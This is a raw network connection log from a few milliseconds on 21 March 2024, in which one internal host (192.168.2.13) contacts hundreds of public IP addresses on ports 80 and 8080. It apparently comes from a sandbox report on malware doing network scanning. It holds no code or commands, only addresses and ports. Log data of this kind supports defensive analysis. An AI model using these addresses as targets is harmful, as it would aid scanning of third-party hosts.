Mar 21, 2024 05:16:56.454933882 CET	45138	8080	192.168.2.13	172.21.56.12
Mar 21, 2024 05:16:56.454933882 CET	45138	8080	192.168.2.13	98.222.53.116
Mar 21, 2024 05:16:56.454933882 CET	45138	8080	192.168.2.13	184.164.238.64
Mar 21, 2024 05:16:56.454941988 CET	45138	8080	192.168.2.13	184.111.14.50
Mar 21, 2024 05:16:56.454941988 CET	45138	8080	192.168.2.13	98.114.104.164
Mar 21, 2024 05:16:56.454955101 CET	45138	8080	192.168.2.13	184.35.213.95
Mar 21, 2024 05:16:56.454955101 CET	45394	80	192.168.2.13	213.79.97.33
Mar 21, 2024 05:16:56.454963923 CET	45138	8080	192.168.2.13	172.237.211.169
Mar 21, 2024 05:16:56.454982042 CET	45138	8080	192.168.2.13	172.217.202.88
Mar 21, 2024 05:16:56.454983950 CET	45394	80	192.168.2.13	213.66.178.31
Mar 21, 2024 05:16:56.454982042 CET	45394	80	192.168.2.13	213.4.104.128
Mar 21, 2024 05:16:56.454983950 CET	45138	8080	192.168.2.13	172.158.201.124
Mar 21, 2024 05:16:56.454983950 CET	45138	8080	192.168.2.13	184.204.232.222
Mar 21, 2024 05:16:56.454983950 CET	45138	8080	192.168.2.13	98.31.240.174
Mar 21, 2024 05:16:56.454983950 CET	45138	8080	192.168.2.13	184.7.88.41
Mar 21, 2024 05:16:56.454998016 CET	45138	8080	192.168.2.13	184.11.244.47
Mar 21, 2024 05:16:56.455050945 CET	45394	80	192.168.2.13	213.221.56.114
Mar 21, 2024 05:16:56.455053091 CET	45394	80	192.168.2.13	213.218.88.119
Mar 21, 2024 05:16:56.455060959 CET	45394	80	192.168.2.13	213.103.202.175
Mar 21, 2024 05:16:56.455060959 CET	45394	80	192.168.2.13	213.4.101.218
Mar 21, 2024 05:16:56.455066919 CET	45394	80	192.168.2.13	213.64.36.190
Mar 21, 2024 05:16:56.455094099 CET	45138	8080	192.168.2.13	184.158.25.28
Mar 21, 2024 05:16:56.455096960 CET	45394	80	192.168.2.13	213.113.175.225
Mar 21, 2024 05:16:56.455097914 CET	45138	8080	192.168.2.13	184.54.4.126
Mar 21, 2024 05:16:56.455106974 CET	45394	80	192.168.2.13	213.164.115.206
Mar 21, 2024 05:16:56.455106974 CET	45394	80	192.168.2.13	213.194.187.99
Mar 21, 2024 05:16:56.455116034 CET	45394	80	192.168.2.13	213.129.160.11
Mar 21, 2024 05:16:56.455118895 CET	45138	8080	192.168.2.13	172.72.30.199
Mar 21, 2024 05:16:56.455120087 CET	45394	80	192.168.2.13	213.151.90.64
Mar 21, 2024 05:16:56.455118895 CET	45394	80	192.168.2.13	213.208.117.51
Mar 21, 2024 05:16:56.455120087 CET	45138	8080	192.168.2.13	172.184.218.105
Mar 21, 2024 05:16:56.455118895 CET	45138	8080	192.168.2.13	98.71.123.242
Mar 21, 2024 05:16:56.455131054 CET	45138	8080	192.168.2.13	98.232.50.20
Mar 21, 2024 05:16:56.455171108 CET	45138	8080	192.168.2.13	98.165.122.145
Mar 21, 2024 05:16:56.455178022 CET	45394	80	192.168.2.13	213.112.30.5
Mar 21, 2024 05:16:56.455180883 CET	45394	80	192.168.2.13	213.161.83.23
Mar 21, 2024 05:16:56.455180883 CET	45394	80	192.168.2.13	213.0.227.228
Mar 21, 2024 05:16:56.455184937 CET	45138	8080	192.168.2.13	184.127.193.114
Mar 21, 2024 05:16:56.455184937 CET	45138	8080	192.168.2.13	184.112.132.36
Mar 21, 2024 05:16:56.455187082 CET	45138	8080	192.168.2.13	98.230.223.36
Mar 21, 2024 05:16:56.455187082 CET	45138	8080	192.168.2.13	184.98.157.52
Mar 21, 2024 05:16:56.455194950 CET	45138	8080	192.168.2.13	98.29.197.215
Mar 21, 2024 05:16:56.455198050 CET	45138	8080	192.168.2.13	98.25.211.162
Mar 21, 2024 05:16:56.455207109 CET	45138	8080	192.168.2.13	172.81.2.5
Mar 21, 2024 05:16:56.455235958 CET	45394	80	192.168.2.13	213.64.191.55
Mar 21, 2024 05:16:56.455239058 CET	45138	8080	192.168.2.13	184.110.90.14
Mar 21, 2024 05:16:56.455239058 CET	45138	8080	192.168.2.13	172.150.56.52
Mar 21, 2024 05:16:56.455239058 CET	45138	8080	192.168.2.13	98.66.37.210
Mar 21, 2024 05:16:56.455239058 CET	45138	8080	192.168.2.13	172.163.156.79
Mar 21, 2024 05:16:56.455239058 CET	45138	8080	192.168.2.13	172.42.247.80
Mar 21, 2024 05:16:56.455240965 CET	45138	8080	192.168.2.13	172.101.143.103
Mar 21, 2024 05:16:56.455239058 CET	45138	8080	192.168.2.13	184.219.117.171
Mar 21, 2024 05:16:56.455240965 CET	45138	8080	192.168.2.13	98.29.94.137
Mar 21, 2024 05:16:56.455240965 CET	45138	8080	192.168.2.13	172.48.161.216
Mar 21, 2024 05:16:56.455240965 CET	45394	80	192.168.2.13	213.150.168.116
Mar 21, 2024 05:16:56.455250978 CET	45138	8080	192.168.2.13	98.15.159.87
Mar 21, 2024 05:16:56.455255032 CET	45394	80	192.168.2.13	213.12.108.7
Mar 21, 2024 05:16:56.455255032 CET	45138	8080	192.168.2.13	98.46.85.47
Mar 21, 2024 05:16:56.455255032 CET	45138	8080	192.168.2.13	98.221.241.212
Mar 21, 2024 05:16:56.455255032 CET	45138	8080	192.168.2.13	184.90.97.169
Mar 21, 2024 05:16:56.455269098 CET	45394	80	192.168.2.13	213.91.19.60
Mar 21, 2024 05:16:56.455269098 CET	45138	8080	192.168.2.13	172.114.8.63
Mar 21, 2024 05:16:56.455269098 CET	45138	8080	192.168.2.13	98.27.208.81
Mar 21, 2024 05:16:56.455269098 CET	45138	8080	192.168.2.13	98.33.179.113
Mar 21, 2024 05:16:56.455271959 CET	45138	8080	192.168.2.13	172.136.190.195
Mar 21, 2024 05:16:56.455272913 CET	45138	8080	192.168.2.13	98.211.14.17
Mar 21, 2024 05:16:56.455272913 CET	45138	8080	192.168.2.13	98.58.95.77
Mar 21, 2024 05:16:56.455272913 CET	45138	8080	192.168.2.13	98.39.234.182
Mar 21, 2024 05:16:56.455272913 CET	45394	80	192.168.2.13	213.14.48.137
Mar 21, 2024 05:16:56.455272913 CET	45394	80	192.168.2.13	213.112.41.254
Mar 21, 2024 05:16:56.455272913 CET	45138	8080	192.168.2.13	172.64.236.30
Mar 21, 2024 05:16:56.455274105 CET	45138	8080	192.168.2.13	98.238.205.38
Mar 21, 2024 05:16:56.455272913 CET	45138	8080	192.168.2.13	184.229.193.11
Mar 21, 2024 05:16:56.455272913 CET	45138	8080	192.168.2.13	98.201.29.175
Mar 21, 2024 05:16:56.455276966 CET	45138	8080	192.168.2.13	184.84.45.38
Mar 21, 2024 05:16:56.455272913 CET	45138	8080	192.168.2.13	172.116.237.58
Mar 21, 2024 05:16:56.455281019 CET	45138	8080	192.168.2.13	98.90.182.17
Mar 21, 2024 05:16:56.455277920 CET	45138	8080	192.168.2.13	98.205.64.115
Mar 21, 2024 05:16:56.455272913 CET	45138	8080	192.168.2.13	172.199.182.116
Mar 21, 2024 05:16:56.455277920 CET	45394	80	192.168.2.13	213.6.55.75
Mar 21, 2024 05:16:56.455272913 CET	45138	8080	192.168.2.13	172.228.118.83
Mar 21, 2024 05:16:56.455295086 CET	45138	8080	192.168.2.13	172.154.175.122
Mar 21, 2024 05:16:56.455295086 CET	45138	8080	192.168.2.13	98.143.206.20
Mar 21, 2024 05:16:56.455297947 CET	45138	8080	192.168.2.13	172.212.6.34
Mar 21, 2024 05:16:56.455297947 CET	45138	8080	192.168.2.13	98.131.143.93
Mar 21, 2024 05:16:56.455297947 CET	45394	80	192.168.2.13	213.106.200.177
Mar 21, 2024 05:16:56.455297947 CET	45138	8080	192.168.2.13	98.195.60.137
Mar 21, 2024 05:16:56.455297947 CET	45138	8080	192.168.2.13	184.89.147.141
Mar 21, 2024 05:16:56.455297947 CET	45394	80	192.168.2.13	213.31.109.122
Mar 21, 2024 05:16:56.455302000 CET	45138	8080	192.168.2.13	184.82.42.76
Mar 21, 2024 05:16:56.455302000 CET	45394	80	192.168.2.13	213.205.196.187
Mar 21, 2024 05:16:56.455302000 CET	45394	80	192.168.2.13	213.81.161.172
Mar 21, 2024 05:16:56.455302000 CET	45138	8080	192.168.2.13	184.106.171.51
Mar 21, 2024 05:16:56.455302000 CET	45138	8080	192.168.2.13	172.254.41.214
Mar 21, 2024 05:16:56.455311060 CET	45138	8080	192.168.2.13	172.72.43.241
Mar 21, 2024 05:16:56.455311060 CET	45138	8080	192.168.2.13	172.46.86.70
Mar 21, 2024 05:16:56.455311060 CET	45138	8080	192.168.2.13	184.10.246.136
Mar 21, 2024 05:16:56.455311060 CET	45138	8080	192.168.2.13	184.50.66.224
Mar 21, 2024 05:16:56.455315113 CET	45138	8080	192.168.2.13	184.158.117.192
Mar 21, 2024 05:16:56.455317974 CET	45138	8080	192.168.2.13	184.58.42.48
Mar 21, 2024 05:16:56.455317974 CET	45138	8080	192.168.2.13	184.22.22.219
Mar 21, 2024 05:16:56.455317974 CET	45138	8080	192.168.2.13	98.11.119.36
Mar 21, 2024 05:16:56.455317974 CET	45138	8080	192.168.2.13	98.224.56.63
Mar 21, 2024 05:16:56.455317974 CET	45138	8080	192.168.2.13	184.139.246.204
Mar 21, 2024 05:16:56.455317974 CET	45138	8080	192.168.2.13	98.55.58.24
Mar 21, 2024 05:16:56.455317974 CET	45138	8080	192.168.2.13	172.216.1.115
Mar 21, 2024 05:16:56.455317974 CET	45394	80	192.168.2.13	213.202.233.23
Mar 21, 2024 05:16:56.455323935 CET	45138	8080	192.168.2.13	172.229.79.57
Mar 21, 2024 05:16:56.455323935 CET	45138	8080	192.168.2.13	98.161.137.49
Mar 21, 2024 05:16:56.455323935 CET	45138	8080	192.168.2.13	98.218.255.90
Mar 21, 2024 05:16:56.455323935 CET	45138	8080	192.168.2.13	98.12.15.47
Mar 21, 2024 05:16:56.455323935 CET	45138	8080	192.168.2.13	172.197.71.188
Mar 21, 2024 05:16:56.455323935 CET	45138	8080	192.168.2.13	98.114.236.172
Mar 21, 2024 05:16:56.455329895 CET	45394	80	192.168.2.13	213.121.241.53
Mar 21, 2024 05:16:56.455329895 CET	45138	8080	192.168.2.13	184.241.66.207
Mar 21, 2024 05:16:56.455329895 CET	45138	8080	192.168.2.13	184.141.86.81
Mar 21, 2024 05:16:56.455332041 CET	45138	8080	192.168.2.13	184.88.9.110
Mar 21, 2024 05:16:56.455332041 CET	45138	8080	192.168.2.13	98.144.251.151
Mar 21, 2024 05:16:56.455332041 CET	45138	8080	192.168.2.13	172.139.136.32
Mar 21, 2024 05:16:56.455333948 CET	45394	80	192.168.2.13	213.44.104.4
Mar 21, 2024 05:16:56.455333948 CET	45138	8080	192.168.2.13	98.44.5.89
Mar 21, 2024 05:16:56.455333948 CET	45138	8080	192.168.2.13	184.65.254.63
Mar 21, 2024 05:16:56.455337048 CET	45394	80	192.168.2.13	213.96.72.28
Mar 21, 2024 05:16:56.455333948 CET	45138	8080	192.168.2.13	98.178.73.145
Mar 21, 2024 05:16:56.455333948 CET	45138	8080	192.168.2.13	172.96.68.118
Mar 21, 2024 05:16:56.455334902 CET	45394	80	192.168.2.13	213.66.12.144
Mar 21, 2024 05:16:56.455334902 CET	45394	80	192.168.2.13	213.49.37.103
Mar 21, 2024 05:16:56.455334902 CET	45138	8080	192.168.2.13	172.242.224.66
Mar 21, 2024 05:16:56.455343962 CET	45138	8080	192.168.2.13	172.142.64.163
Mar 21, 2024 05:16:56.455343962 CET	45138	8080	192.168.2.13	172.252.211.161
Mar 21, 2024 05:16:56.455346107 CET	45138	8080	192.168.2.13	98.78.203.2
Mar 21, 2024 05:16:56.455346107 CET	45138	8080	192.168.2.13	98.212.138.221
Mar 21, 2024 05:16:56.455365896 CET	45394	80	192.168.2.13	213.11.94.51
Mar 21, 2024 05:16:56.455369949 CET	45394	80	192.168.2.13	213.124.18.104
Mar 21, 2024 05:16:56.455369949 CET	45138	8080	192.168.2.13	172.72.16.231
Mar 21, 2024 05:16:56.455370903 CET	45138	8080	192.168.2.13	184.96.138.239
Mar 21, 2024 05:16:56.455369949 CET	45138	8080	192.168.2.13	172.191.31.37
Mar 21, 2024 05:16:56.455370903 CET	45394	80	192.168.2.13	213.103.219.247
Mar 21, 2024 05:16:56.455370903 CET	45394	80	192.168.2.13	213.175.119.74
Mar 21, 2024 05:16:56.455374002 CET	45138	8080	192.168.2.13	184.255.101.112
Mar 21, 2024 05:16:56.455374002 CET	45138	8080	192.168.2.13	98.185.203.93
Mar 21, 2024 05:16:56.455374956 CET	45138	8080	192.168.2.13	98.143.5.10
Mar 21, 2024 05:16:56.455374956 CET	45138	8080	192.168.2.13	172.243.28.183
Mar 21, 2024 05:16:56.455374956 CET	45138	8080	192.168.2.13	98.212.241.201
Mar 21, 2024 05:16:56.455374956 CET	45138	8080	192.168.2.13	98.35.187.111
Mar 21, 2024 05:16:56.455374956 CET	45138	8080	192.168.2.13	172.209.235.90
Mar 21, 2024 05:16:56.455374956 CET	45138	8080	192.168.2.13	98.188.64.185
Mar 21, 2024 05:16:56.455379009 CET	45138	8080	192.168.2.13	172.62.9.65
Mar 21, 2024 05:16:56.455379009 CET	45138	8080	192.168.2.13	98.196.23.161
Mar 21, 2024 05:16:56.455398083 CET	45138	8080	192.168.2.13	184.225.31.75
Mar 21, 2024 05:16:56.455400944 CET	45138	8080	192.168.2.13	184.52.103.196
Mar 21, 2024 05:16:56.455400944 CET	45138	8080	192.168.2.13	172.22.140.214
Mar 21, 2024 05:16:56.455400944 CET	45138	8080	192.168.2.13	184.206.151.116
Mar 21, 2024 05:16:56.455405951 CET	45394	80	192.168.2.13	213.31.50.214
Mar 21, 2024 05:16:56.455405951 CET	45138	8080	192.168.2.13	172.255.182.88
Mar 21, 2024 05:16:56.455423117 CET	45138	8080	192.168.2.13	172.108.51.124
Mar 21, 2024 05:16:56.455425978 CET	45138	8080	192.168.2.13	172.74.133.53
Mar 21, 2024 05:16:56.455425978 CET	45138	8080	192.168.2.13	172.15.59.179
Mar 21, 2024 05:16:56.455425978 CET	45138	8080	192.168.2.13	172.78.44.101
Mar 21, 2024 05:16:56.455425978 CET	45138	8080	192.168.2.13	98.58.221.221
Mar 21, 2024 05:16:56.455427885 CET	45138	8080	192.168.2.13	172.138.94.97
Mar 21, 2024 05:16:56.455427885 CET	45394	80	192.168.2.13	213.55.45.87
Mar 21, 2024 05:16:56.455430031 CET	45138	8080	192.168.2.13	184.240.28.72
Mar 21, 2024 05:16:56.455434084 CET	45138	8080	192.168.2.13	184.15.28.176
Mar 21, 2024 05:16:56.455434084 CET	45138	8080	192.168.2.13	184.133.101.66
Mar 21, 2024 05:16:56.455434084 CET	45394	80	192.168.2.13	213.167.123.73
Mar 21, 2024 05:16:56.455446005 CET	45138	8080	192.168.2.13	184.145.117.149
Mar 21, 2024 05:16:56.455446005 CET	45138	8080	192.168.2.13	172.133.94.0
Mar 21, 2024 05:16:56.455446005 CET	45138	8080	192.168.2.13	184.219.26.97
Mar 21, 2024 05:16:56.455446959 CET	45138	8080	192.168.2.13	184.235.121.35
Mar 21, 2024 05:16:56.455466032 CET	45138	8080	192.168.2.13	98.147.87.56
Mar 21, 2024 05:16:56.455466032 CET	45394	80	192.168.2.13	213.242.166.83
Mar 21, 2024 05:16:56.455466032 CET	45138	8080	192.168.2.13	172.110.253.215
Mar 21, 2024 05:16:56.455471039 CET	45138	8080	192.168.2.13	98.87.176.219
Mar 21, 2024 05:16:56.455471039 CET	45394	80	192.168.2.13	213.161.40.174
Mar 21, 2024 05:16:56.455471992 CET	45394	80	192.168.2.13	213.205.107.206
Mar 21, 2024 05:16:56.455475092 CET	45138	8080	192.168.2.13	184.15.0.95
Mar 21, 2024 05:16:56.455486059 CET	45138	8080	192.168.2.13	172.188.142.194
Mar 21, 2024 05:16:56.455486059 CET	45394	80	192.168.2.13	213.73.117.233
Mar 21, 2024 05:16:56.455497026 CET	45138	8080	192.168.2.13	98.160.31.18
Mar 21, 2024 05:16:56.455499887 CET	45138	8080	192.168.2.13	98.25.185.99
Mar 21, 2024 05:16:56.455507994 CET	45138	8080	192.168.2.13	172.96.86.221
Mar 21, 2024 05:16:56.455507994 CET	45138	8080	192.168.2.13	184.163.44.178
Mar 21, 2024 05:16:56.455549002 CET	45394	80	192.168.2.13	213.231.156.180
Mar 21, 2024 05:16:56.455586910 CET	45138	8080	192.168.2.13	172.17.17.162
Mar 21, 2024 05:16:56.455586910 CET	45138	8080	192.168.2.13	184.113.248.14
Mar 21, 2024 05:16:56.455588102 CET	45138	8080	192.168.2.13	184.70.3.119
Mar 21, 2024 05:16:56.455589056 CET	45138	8080	192.168.2.13	98.50.91.107
Mar 21, 2024 05:16:56.455586910 CET	45138	8080	192.168.2.13	184.243.51.50
Mar 21, 2024 05:16:56.455588102 CET	45138	8080	192.168.2.13	172.30.247.55
Mar 21, 2024 05:16:56.455590010 CET	45394	80	192.168.2.13	213.126.86.84
Mar 21, 2024 05:16:56.455586910 CET	45138	8080	192.168.2.13	184.0.16.40
Mar 21, 2024 05:16:56.455589056 CET	45394	80	192.168.2.13	213.93.136.9
Mar 21, 2024 05:16:56.455590010 CET	45138	8080	192.168.2.13	172.117.98.11
Mar 21, 2024 05:16:56.455589056 CET	45138	8080	192.168.2.13	184.236.101.72
Mar 21, 2024 05:16:56.455586910 CET	45138	8080	192.168.2.13	184.203.10.83
Mar 21, 2024 05:16:56.455589056 CET	45138	8080	192.168.2.13	98.6.243.72
Mar 21, 2024 05:16:56.455586910 CET	45394	80	192.168.2.13	213.71.51.68
Mar 21, 2024 05:16:56.455590010 CET	45138	8080	192.168.2.13	184.117.188.168
Mar 21, 2024 05:16:56.455600023 CET	45138	8080	192.168.2.13	98.164.108.174
Mar 21, 2024 05:16:56.455600023 CET	45138	8080	192.168.2.13	172.82.155.57
Mar 21, 2024 05:16:56.455590010 CET	45138	8080	192.168.2.13	184.132.213.7
Mar 21, 2024 05:16:56.455600023 CET	45138	8080	192.168.2.13	98.255.134.67
Mar 21, 2024 05:16:56.455590010 CET	45138	8080	192.168.2.13	98.189.227.209
Mar 21, 2024 05:16:56.455600023 CET	45394	80	192.168.2.13	213.60.217.120
Mar 21, 2024 05:16:56.455600023 CET	45394	80	192.168.2.13	213.192.162.227
Mar 21, 2024 05:16:56.455590010 CET	45138	8080	192.168.2.13	172.62.62.252
Mar 21, 2024 05:16:56.455602884 CET	45138	8080	192.168.2.13	172.255.205.155
Mar 21, 2024 05:16:56.455602884 CET	45394	80	192.168.2.13	213.207.15.50
Mar 21, 2024 05:16:56.455602884 CET	45138	8080	192.168.2.13	172.170.141.165
Mar 21, 2024 05:16:56.455602884 CET	45394	80	192.168.2.13	213.54.231.198
Mar 21, 2024 05:16:56.455602884 CET	45138	8080	192.168.2.13	184.62.242.23
Mar 21, 2024 05:16:56.455602884 CET	45394	80	192.168.2.13	213.5.153.93
Mar 21, 2024 05:16:56.455602884 CET	45138	8080	192.168.2.13	98.108.166.139
Mar 21, 2024 05:16:56.455605984 CET	45138	8080	192.168.2.13	184.11.176.5
Mar 21, 2024 05:16:56.455605984 CET	45138	8080	192.168.2.13	172.227.72.127
Mar 21, 2024 05:16:56.455602884 CET	45394	80	192.168.2.13	213.74.127.230
Mar 21, 2024 05:16:56.455605984 CET	45138	8080	192.168.2.13	172.40.57.254
Mar 21, 2024 05:16:56.455605984 CET	45138	8080	192.168.2.13	172.24.98.117
Mar 21, 2024 05:16:56.455605984 CET	45394	80	192.168.2.13	213.227.194.80
Mar 21, 2024 05:16:56.455605984 CET	45138	8080	192.168.2.13	184.194.25.248
Mar 21, 2024 05:16:56.455621004 CET	45138	8080	192.168.2.13	184.144.52.59
Mar 21, 2024 05:16:56.455621004 CET	45138	8080	192.168.2.13	98.55.236.10
Mar 21, 2024 05:16:56.455621004 CET	45138	8080	192.168.2.13	184.86.154.186
Mar 21, 2024 05:16:56.455624104 CET	45138	8080	192.168.2.13	184.208.154.156
Mar 21, 2024 05:16:56.455624104 CET	45138	8080	192.168.2.13	172.108.129.173
Mar 21, 2024 05:16:56.455624104 CET	45138	8080	192.168.2.13	172.55.32.39
Mar 21, 2024 05:16:56.455624104 CET	45394	80	192.168.2.13	213.158.200.139
Mar 21, 2024 05:16:56.455631971 CET	45138	8080	192.168.2.13	184.52.30.4
Mar 21, 2024 05:16:56.455642939 CET	45138	8080	192.168.2.13	98.173.185.167
Mar 21, 2024 05:16:56.455642939 CET	45138	8080	192.168.2.13	184.186.192.142
Mar 21, 2024 05:16:56.455642939 CET	45138	8080	192.168.2.13	172.227.171.198
Mar 21, 2024 05:16:56.455642939 CET	45138	8080	192.168.2.13	184.75.252.135
Mar 21, 2024 05:16:56.455642939 CET	45394	80	192.168.2.13	213.176.57.46
Mar 21, 2024 05:16:56.455642939 CET	45138	8080	192.168.2.13	172.133.68.50
Mar 21, 2024 05:16:56.455642939 CET	45138	8080	192.168.2.13	98.60.180.38
Mar 21, 2024 05:16:56.455642939 CET	45138	8080	192.168.2.13	172.40.59.93
Mar 21, 2024 05:16:56.455667973 CET	45138	8080	192.168.2.13	184.248.53.102
Mar 21, 2024 05:16:56.455667973 CET	45138	8080	192.168.2.13	98.35.131.139
Mar 21, 2024 05:16:56.455670118 CET	45138	8080	192.168.2.13	172.237.66.169
Mar 21, 2024 05:16:56.455670118 CET	45138	8080	192.168.2.13	172.162.193.228
Mar 21, 2024 05:16:56.455671072 CET	45138	8080	192.168.2.13	172.32.94.164
Mar 21, 2024 05:16:56.455670118 CET	45138	8080	192.168.2.13	98.37.188.74
Mar 21, 2024 05:16:56.455671072 CET	45138	8080	192.168.2.13	184.170.186.32
Mar 21, 2024 05:16:56.455670118 CET	45138	8080	192.168.2.13	98.68.157.104
Mar 21, 2024 05:16:56.455674887 CET	45138	8080	192.168.2.13	184.116.148.112
Mar 21, 2024 05:16:56.455674887 CET	45138	8080	192.168.2.13	172.41.60.243
Mar 21, 2024 05:16:56.455674887 CET	45138	8080	192.168.2.13	184.242.170.131
Mar 21, 2024 05:16:56.455679893 CET	45394	80	192.168.2.13	213.149.100.27
Mar 21, 2024 05:16:56.455679893 CET	45138	8080	192.168.2.13	184.98.2.207
Mar 21, 2024 05:16:56.455679893 CET	45138	8080	192.168.2.13	184.11.45.214
Mar 21, 2024 05:16:56.455679893 CET	45138	8080	192.168.2.13	184.83.64.41
Mar 21, 2024 05:16:56.455679893 CET	45138	8080	192.168.2.13	184.253.48.4
Mar 21, 2024 05:16:56.455679893 CET	45138	8080	192.168.2.13	98.121.152.190
Mar 21, 2024 05:16:56.455679893 CET	45138	8080	192.168.2.13	184.78.120.86
Mar 21, 2024 05:16:56.455679893 CET	45138	8080	192.168.2.13	172.167.136.156
Mar 21, 2024 05:16:56.455704927 CET	45394	80	192.168.2.13	213.1.200.168
Mar 21, 2024 05:16:56.455707073 CET	45138	8080	192.168.2.13	184.76.46.32
Mar 21, 2024 05:16:56.455705881 CET	45394	80	192.168.2.13	213.58.134.232
Mar 21, 2024 05:16:56.455707073 CET	45138	8080	192.168.2.13	172.251.45.136
Mar 21, 2024 05:16:56.455705881 CET	45394	80	192.168.2.13	213.78.11.67
Mar 21, 2024 05:16:56.455707073 CET	45394	80	192.168.2.13	213.106.20.176
Mar 21, 2024 05:16:56.455707073 CET	45138	8080	192.168.2.13	184.156.131.26
Mar 21, 2024 05:16:56.455707073 CET	45138	8080	192.168.2.13	98.5.118.215
Mar 21, 2024 05:16:56.455720901 CET	45138	8080	192.168.2.13	98.18.120.240
Mar 21, 2024 05:16:56.455723047 CET	45138	8080	192.168.2.13	98.180.52.170
Mar 21, 2024 05:16:56.455723047 CET	45138	8080	192.168.2.13	172.225.170.106
Mar 21, 2024 05:16:56.455723047 CET	45138	8080	192.168.2.13	98.110.80.48
Mar 21, 2024 05:16:56.455734015 CET	45138	8080	192.168.2.13	172.16.36.96
Mar 21, 2024 05:16:56.455734015 CET	45138	8080	192.168.2.13	172.76.204.240
Mar 21, 2024 05:16:56.455734015 CET	45138	8080	192.168.2.13	172.96.59.143
Mar 21, 2024 05:16:56.455734015 CET	45138	8080	192.168.2.13	172.147.31.115
Mar 21, 2024 05:16:56.455737114 CET	45138	8080	192.168.2.13	172.37.116.123
Mar 21, 2024 05:16:56.455737114 CET	45138	8080	192.168.2.13	184.115.80.153
Mar 21, 2024 05:16:56.455741882 CET	45138	8080	192.168.2.13	172.125.188.39
Mar 21, 2024 05:16:56.455744982 CET	45138	8080	192.168.2.13	184.53.104.155
Mar 21, 2024 05:16:56.455745935 CET	45138	8080	192.168.2.13	172.68.105.249
Mar 21, 2024 05:16:56.455745935 CET	45138	8080	192.168.2.13	172.195.245.155
Mar 21, 2024 05:16:56.455758095 CET	45394	80	192.168.2.13	213.59.254.252
Mar 21, 2024 05:16:56.455826044 CET	45394	80	192.168.2.13	213.66.27.74
Mar 21, 2024 05:16:56.455835104 CET	45394	80	192.168.2.13	213.101.178.217
Mar 21, 2024 05:16:56.455857992 CET	45394	80	192.168.2.13	213.198.97.205
Mar 21, 2024 05:16:56.455868959 CET	45394	80	192.168.2.13	213.130.78.44
Mar 21, 2024 05:16:56.455868959 CET	45394	80	192.168.2.13	213.138.226.134
Mar 21, 2024 05:16:56.455893993 CET	45394	80	192.168.2.13	213.119.153.193
Mar 21, 2024 05:16:56.455894947 CET	45394	80	192.168.2.13	213.151.164.230
Mar 21, 2024 05:16:56.455894947 CET	45394	80	192.168.2.13	213.4.144.117
Mar 21, 2024 05:16:56.455904961 CET	45394	80	192.168.2.13	213.4.218.196
Mar 21, 2024 05:16:56.455934048 CET	45394	80	192.168.2.13	213.15.79.145
Mar 21, 2024 05:16:56.455935955 CET	45138	8080	192.168.2.13	172.213.251.140
Mar 21, 2024 05:16:56.455936909 CET	45394	80	192.168.2.13	213.205.195.76
Mar 21, 2024 05:16:56.455939054 CET	45138	8080	192.168.2.13	184.175.220.250
Mar 21, 2024 05:16:56.455940962 CET	45138	8080	192.168.2.13	98.185.63.26
Mar 21, 2024 05:16:56.455945969 CET	45394	80	192.168.2.13	213.93.144.5
Mar 21, 2024 05:16:56.455955982 CET	45138	8080	192.168.2.13	172.126.17.113
Mar 21, 2024 05:16:56.455967903 CET	45138	8080	192.168.2.13	98.253.43.212
Mar 21, 2024 05:16:56.455971956 CET	45394	80	192.168.2.13	213.197.181.67
Mar 21, 2024 05:16:56.455971956 CET	45138	8080	192.168.2.13	184.121.134.76
Mar 21, 2024 05:16:56.455971956 CET	45138	8080	192.168.2.13	184.252.132.113
Mar 21, 2024 05:16:56.455979109 CET	45394	80	192.168.2.13	213.18.95.120
Mar 21, 2024 05:16:56.455991030 CET	45138	8080	192.168.2.13	98.81.109.249
Mar 21, 2024 05:16:56.455992937 CET	45138	8080	192.168.2.13	98.160.182.143
Mar 21, 2024 05:16:56.455992937 CET	45394	80	192.168.2.13	213.168.216.207
Mar 21, 2024 05:16:56.455992937 CET	45138	8080	192.168.2.13	184.108.139.255
Mar 21, 2024 05:16:56.456010103 CET	45138	8080	192.168.2.13	184.203.115.96
Mar 21, 2024 05:16:56.456018925 CET	45394	80	192.168.2.13	213.245.76.171
Mar 21, 2024 05:16:56.456018925 CET	45138	8080	192.168.2.13	98.73.74.236
Mar 21, 2024 05:16:56.456021070 CET	45138	8080	192.168.2.13	172.142.153.173
Mar 21, 2024 05:16:56.456023932 CET	45138	8080	192.168.2.13	172.94.73.210
Mar 21, 2024 05:16:56.456032991 CET	45138	8080	192.168.2.13	98.84.75.201
Mar 21, 2024 05:16:56.456033945 CET	45394	80	192.168.2.13	213.190.183.203
Mar 21, 2024 05:16:56.456034899 CET	45138	8080	192.168.2.13	184.152.80.203
Mar 21, 2024 05:16:56.456043959 CET	45138	8080	192.168.2.13	172.44.234.220
Mar 21, 2024 05:16:56.456051111 CET	45138	8080	192.168.2.13	184.117.101.173
Mar 21, 2024 05:16:56.456053972 CET	45394	80	192.168.2.13	213.77.133.4
Mar 21, 2024 05:16:56.456089020 CET	45138	8080	192.168.2.13	172.134.190.136
Mar 21, 2024 05:16:56.456098080 CET	45138	8080	192.168.2.13	98.243.152.110
Mar 21, 2024 05:16:56.456103086 CET	45138	8080	192.168.2.13	98.221.60.20
Mar 21, 2024 05:16:56.456103086 CET	45138	8080	192.168.2.13	172.26.239.20
Mar 21, 2024 05:16:56.456103086 CET	45138	8080	192.168.2.13	172.0.132.202
Mar 21, 2024 05:16:56.456103086 CET	45394	80	192.168.2.13	213.55.160.250
Mar 21, 2024 05:16:56.456103086 CET	45138	8080	192.168.2.13	172.201.11.200
Mar 21, 2024 05:16:56.456105947 CET	45138	8080	192.168.2.13	184.46.103.197
Mar 21, 2024 05:16:56.456106901 CET	45394	80	192.168.2.13	213.233.136.184
Mar 21, 2024 05:16:56.456118107 CET	45138	8080	192.168.2.13	184.84.2.78
Mar 21, 2024 05:16:56.456118107 CET	45138	8080	192.168.2.13	172.9.15.198
Mar 21, 2024 05:16:56.456147909 CET	45394	80	192.168.2.13	213.145.43.63
Mar 21, 2024 05:16:56.456149101 CET	45138	8080	192.168.2.13	184.156.165.56
Mar 21, 2024 05:16:56.456149101 CET	45138	8080	192.168.2.13	172.43.248.233
Mar 21, 2024 05:16:56.456150055 CET	45138	8080	192.168.2.13	98.78.199.206
Mar 21, 2024 05:16:56.456147909 CET	45138	8080	192.168.2.13	172.62.162.53
Mar 21, 2024 05:16:56.456150055 CET	45138	8080	192.168.2.13	172.63.156.177
Mar 21, 2024 05:16:56.456151962 CET	45138	8080	192.168.2.13	98.11.150.240
Mar 21, 2024 05:16:56.456149101 CET	45394	80	192.168.2.13	213.107.108.157
Mar 21, 2024 05:16:56.456151962 CET	45394	80	192.168.2.13	213.207.131.201
